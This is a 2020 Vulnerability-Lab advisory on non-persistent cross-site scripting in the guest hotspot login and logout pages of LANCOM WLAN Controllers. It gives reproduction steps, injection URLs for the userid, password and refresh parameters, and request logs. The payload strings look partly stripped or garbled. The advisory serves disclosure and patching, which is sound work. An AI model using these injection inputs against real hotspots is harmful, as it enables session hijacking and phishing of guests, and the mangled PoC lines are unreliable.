`Document Title: =============== LANCOM WLAN Controller - Multiple Cross Site Scripting Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2196 Vulnerability Magazine: https://www.vulnerability-db.com/?q=articles/2020/04/30/vulnerability-lancom-systems-wireless-controller-series-uncovered Release Date: ============= 2020-05-07 Vulnerability Laboratory ID (VL-ID): ==================================== 2196 Common Vulnerability Scoring System: ==================================== 4.7 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Die LANCOM Public Spot Option ermöglicht die Bereitstellung eines zuverlässigen und sicheren Zugangs für Gäste, Besucher, Partner oder Kunden über nur eine Infrastruktur. Dabei bleiben Haus- und Gastnetz stets sicher voneinander getrennt. Ohne das Netzwerk um zusätzliche Hardware-Komponenten zu erweitern, erhalten Sie mit der LANCOM Public Spot Option die optimale Lösung für die Einrichtung sicherer Hotspots. (Copy of the Homepage: https://www.lancom-systems.de/produkte/software-optionen/lancom-public-spot/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple non-persistent cross site scripting vulnerabilities in the official LANCOM Systems WLAN Controller WLC (400 & 1000) Series with LCOS 10.x. Affected Product(s): ==================== LANCOM Systems Product: WLAN Controller WLC-1000 & WLC-4006 ... Firmware: LCOS 10.12 SU14, 10.20 SU9 & 10.32 RU8 Vulnerability Disclosure Timeline: ================================== 2020-03-20: Researcher Notification & Coordination (Security Researcher) 2020-04-14: Vendor Notification (Security Department) 2020-04-15: Vendor Response/Feedback (Security Department) 2020-04-20: Vendor Fix/Patch (Service Developer Team) 2020-05-07: Security Acknowledgements (Security Department) 2020-05-07: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== No authentication (guest) User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ Multiple cross site scripting web vulnerabilities has been discovered in the official LANCOM Systems WLAN Controller WLC (400 & 1000) Series with LCOS 10.x. The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to web-application requests from the client-side. The product is publicly certified by the BSI in germany and owns a security policy against backdoors. The cross site scripting vulnerabilities are located in the `userid` and `password` parameters of the `/authen/start/` (login/logout) module. Unauthenticated attackers can connect to the guest wifi (ibd gast) with the web ui logon mask to inject own malicious non-persistent script codes for client-side manipulations into the login and password input fields. The execution can as well be triggered with a simple logout GET method request via refresh parameter. The request method to inject the malicious script code is POST and the attack vector of the vulnerability is non-persistent on client-side. Remote attackers are able to inject own script codes to the client-side requested vulnerable web-application parameters. The attack vector of the vulnerability is non-persistent and the request method to inject/execute is POST/GET. The vulnerabilities are classic client-side cross site scripting vulnerabilities. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected or connected application modules. Request Method(s): [+] POST / GET Vulnerable Module(s): [+] /authen/start/ [+] /logout/ Function(s): [+] refresh Vulnerable Parameter(s): [+] Userid [+] Password Proof of Concept (PoC): ======================= The vulnerabilities can be exploited by remote attackers with guest authentication and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Start your local webbrowser 2. Tamper the http session protocol 2. Start a Wifi Scan 2. Identify the public guest hotspot of lancom 3. Connect to it with guest permissions without credentials 4. Interact by openening the web ui on login.com were you can connect with the correct wifi access credentials 5. Inject the payload in the userid and password input fields of the wifi hotspot login form and submit via post method 6. The injected script code directly executes near to the input field were the content is insecure transmitted 7. Successful reproduce of the cross site scripting web vulnerability! PoC: Payload test">><%2Fiframe> PoC: Exploitation http://www.login.com/authen/start/?refreshhost=192.168.20.13737&refreshssl=0&refreshuser=test"><%2Fiframe> http://logout/authen/start/?refreshuser=test"><%2Fiframe> Vulnerable Source:

Login

" onfocus="if(this.value && this.value == this.defaultValue) { this.value=''; if(document.all) {this.createTextRange().select(); } this.style.color='#000000'; }" onblur="if(this.value == '') { this.value='a"">'; this.style.color='#000000'; }"/>

Show password

--- [PoC Session Logs] --- (Login) http://www.login.com/authen/start/?refreshhost=192.168.20.137&refreshssl=0&refreshuser=test"><%2Fiframe> Host: www.login.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 - GET: HTTP/1.1 200 OK Connection: Keep-Alive Server: LANCOM Cache-Control: max-age=3600, must-revalidate Content-Type: image/svg+xml Content-Length: 9362 http://www.login.com/authen/start/evil.source -PWND Host: www.login.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 - GET: HTTP/1.1 200 OK Connection: Keep-Alive Server: LANCOM Cache-Control: no-cache Pragma: no-cache Expires: Thu, 31 Dec 1999 00:00:00 GMT Content-Type: text/html Content-Security-Policy: default-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src * Referrer-Policy: no-referrer Feature-Policy: geolocation 'none'; midi 'none'; notifications 'none'; push 'none'; sync-xhr 'none'; microphone 'none'; camera 'none'; magnetometer 'none'; gyroscope 'none'; speaker 'none'; vibrate 'none'; fullscreen 'self'; payment 'none' Content-Encoding: gzip http://www.login.com/authen/start/evil.source -PWND Host: www.login.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 - GET: HTTP/1.1 200 OK Server: LANCOM --- [PoC Session Logs] (POST) --- (Logout) http://logout/authen/login/ Host: logout User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 127 Origin: null Connection: keep-alive Upgrade-Insecure-Requests: 1 refreshdir=&userid=test">><%2Fiframe>&password=test">><%2Fiframe> - POST: HTTP/1.1 200 OK Connection: Close Server: LANCOM Cache-Control: no-cache Pragma: no-cache Expires: Thu, 31 Dec 1999 00:00:00 GMT Content-Type: text/html Referrer-Policy: no-referrer Feature-Policy: geolocation 'none'; midi 'none'; notifications 'none'; push 'none'; sync-xhr 'none'; microphone 'none'; camera 'none'; magnetometer 'none'; gyroscope 'none'; speaker 'none'; vibrate 'none'; fullscreen 'self'; payment 'none' Content-Encoding: gzip Reference(s): http://logout/ http://logout/authen/ http://logout/authen/login/ http://www.login.com/ http://www.login.com/images/ http://www.login.com/authen/ http://www.login.com/authen/start/?refreshhost=192.168.20.137&refreshssl= http://www.login.com/authen/start/?refreshhost=192.168.20.137&refreshssl=0&refreshuser= Solution - Fix & Patch: ======================= The vulnerability can be patched by following the steps ... 1. Parse the content of the username and password input field to prevent the injection point 2. Restrict the input field by disallowing the usage of specific special chars for the name and password variables 3. Secure the output location were the content is insecure sanitized delivered as output result Solution of Manufacturer: https://www.lancom-systems.de/service-support/soforthilfe/allgemeine-sicherheitshinweise/ https://www.lancom-systems.com/service-support/instant-help/general-security-information/ The vulnerabilities are resolved in the following versions ... LCOS 10.12 SU15, 10.20 SU10 & 10.32 RU9. We recommend all product customers to update the lcos as soon as possible to prevent attacks by criminals. Security Risk: ============== The security risk of the non-persistent cross site scripting vulnerability in the login form of the wifi hotspot application is estimated as medium. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com `

Query Builder